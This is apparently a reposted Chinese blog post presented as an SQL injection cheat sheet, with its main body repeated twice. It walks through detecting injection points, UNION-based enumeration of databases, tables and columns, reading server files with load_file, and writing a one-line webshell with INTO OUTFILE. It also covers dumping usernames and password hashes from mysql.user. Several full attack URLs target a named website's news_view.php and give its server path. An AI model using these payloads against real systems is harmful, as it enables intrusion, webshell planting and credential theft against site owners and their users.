SQL注入
2016-06-01 20:55
330 查看
1注入类型
1.1数字型注入
查询方式: select * from 表名 where 字段名=数字
检测漏洞: select * from 表名 where 字段名=数字 AND 1=1
select * from 表名 where 字段名=数字 AND 1=2
1.2字符型注入
查询方式: select * from 表名 where 字段名='字符'
检测漏洞: select * from 表名 where 字段名='字符' AND '1'='1'
select * from 表名 where 字段名='字符' AND '1'='1'
1.3搜索型注入
查询方式: select * from 表名 where 字段名 like '%字符%'
检测漏洞: select * from 表名 where 字段名 like '%字符%'and 1=1 and '%'='%'
select * from 表名 where 字段名 like '%字符%'and 1=2 and '%'='%'
判断字段数: order by 数字
select * from 表名 where 字段名=数字order by 数字
根据返回值判断返回的是哪个字段:select * from 表名 where 字段名=1 union all select 1,2,3
返回 数据库名 用户名等信息:select * from 表名 where 字段名=1 union all selectuser(),database(),3
根据数据库名得到表名(mysql5.0之后的版本可用):
select table_name from information_schema.tables where table_schema = '数据库名'
具体应用:(例子中表有三个字段)
select * from表名where字段名=1 union all select table_name,2,3 from information_schema.tables where table_schema = '数据库名'
根据表名得到字段名(mysql5.0之后的版本可用):
select column_name from information_schema.columns where table_schema='数据库名'
and table_name='表名' ;
具体应用:(例子中表有三个字段):
select * from 表名 where 字段名=1 union all select column_name,2,3 from information_schema.columns where table_schema='数据库名' and table_name='表名'
参考:
version()版本 5.0.27-community-nt
database()数据库名 5hchina
user()当前用户 root
@@version_compile_os 操作系统 win32
注意地方(获取到网站根路径)
怎么获取到网站根路径?
谷歌黑客 site:5hchina.com warning
文件报错
查看敏感文件 info.php phpinfo.php test.php
编码选择hex编码
如果不编码用''符号表示
符号的 反正型 “/”和“\”
D:\web\5hchina.com\根网站路径
root权限:
1.查看文件获取相关信息
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,load_file('D:/web/5hchina.com/index.php'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
一般数据库链接文件: conn.php common.php config.php
2.导入导出一句话拿shell (into outfile)
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,'aaaa',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 into outfile 'D:/web/5hchina.com/manage/upload/img/2.php'
或者
![](https://oscdn.geek-share.com/Uploads/Images/Content/202007/31/9b9be155399e98b1935605ca6cec9821)
![](https://oscdn.geek-share.com/Uploads/Images/Content/202007/31/5432c3216c3088834b3fe77c2db50e2f)
![](https://oscdn.geek-share.com/Uploads/Images/Content/202007/31/329741773326a1b21149c6adb6a16092)
查询用户名密码:
1.1数字型注入
查询方式: select * from 表名 where 字段名=数字
检测漏洞: select * from 表名 where 字段名=数字 AND 1=1
select * from 表名 where 字段名=数字 AND 1=2
1.2字符型注入
查询方式: select * from 表名 where 字段名='字符'
检测漏洞: select * from 表名 where 字段名='字符' AND '1'='1'
select * from 表名 where 字段名='字符' AND '1'='1'
1.3搜索型注入
查询方式: select * from 表名 where 字段名 like '%字符%'
检测漏洞: select * from 表名 where 字段名 like '%字符%'and 1=1 and '%'='%'
select * from 表名 where 字段名 like '%字符%'and 1=2 and '%'='%'
判断字段数: order by 数字
select * from 表名 where 字段名=数字order by 数字
根据返回值判断返回的是哪个字段:select * from 表名 where 字段名=1 union all select 1,2,3
返回 数据库名 用户名等信息:select * from 表名 where 字段名=1 union all selectuser(),database(),3
根据数据库名得到表名(mysql5.0之后的版本可用):
select table_name from information_schema.tables where table_schema = '数据库名'
具体应用:(例子中表有三个字段)
select * from表名where字段名=1 union all select table_name,2,3 from information_schema.tables where table_schema = '数据库名'
根据表名得到字段名(mysql5.0之后的版本可用):
select column_name from information_schema.columns where table_schema='数据库名'
and table_name='表名' ;
具体应用:(例子中表有三个字段):
select * from 表名 where 字段名=1 union all select column_name,2,3 from information_schema.columns where table_schema='数据库名' and table_name='表名'
参考:
version()版本 5.0.27-community-nt
database()数据库名 5hchina
user()当前用户 root
@@version_compile_os 操作系统 win32
注意地方(获取到网站根路径)
怎么获取到网站根路径?
谷歌黑客 site:5hchina.com warning
文件报错
查看敏感文件 info.php phpinfo.php test.php
编码选择hex编码
如果不编码用''符号表示
符号的 反正型 “/”和“\”
D:\web\5hchina.com\根网站路径
root权限:
1.查看文件获取相关信息
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,load_file('D:/web/5hchina.com/index.php'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
一般数据库链接文件: conn.php common.php config.php
2.导入导出一句话拿shell (into outfile)
http://www.5hchina.com/news_view.php?id=-7405 UNION SELECT 1,2,'aaaa',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 into outfile 'D:/web/5hchina.com/manage/upload/img/2.php'
或者
查询用户名密码:
select * from mysql.user ;
例子:
SELECT * FROM 表名 where 字段名=1 union all select User,Password,3 from mysql.user
相关文章推荐
- MySQL存储引擎InnoDB与Myisam的六大区别
- [MongoDB]mapReduce
- mybatis in的使用问题
- mysql的插入数据和查询
- MSSQL之十一 数据库高级编程总结
- MSSQL之十一 数据库高级编程总结
- MSSQL之十一 数据库高级编程总结
- 使用 Redis 实现分布式系统轻量级协调技术
- MySQL索引原理及慢查询优化
- mysql常用命令
- mysql 分库分表
- Linux下Redis安装部署
- Dao层的数据库的持续化过程中批量加入数据
- 数据库乱码问题
- Redis实现分布式锁
- oracle查看和修改最大连接数
- [转]定位占用oracle数据库cpu过高的sql
- PowerDesigner连接mysql逆向生成pdm
- Redis之常用通用命令整理
- Centos7下配置Redis开机自启动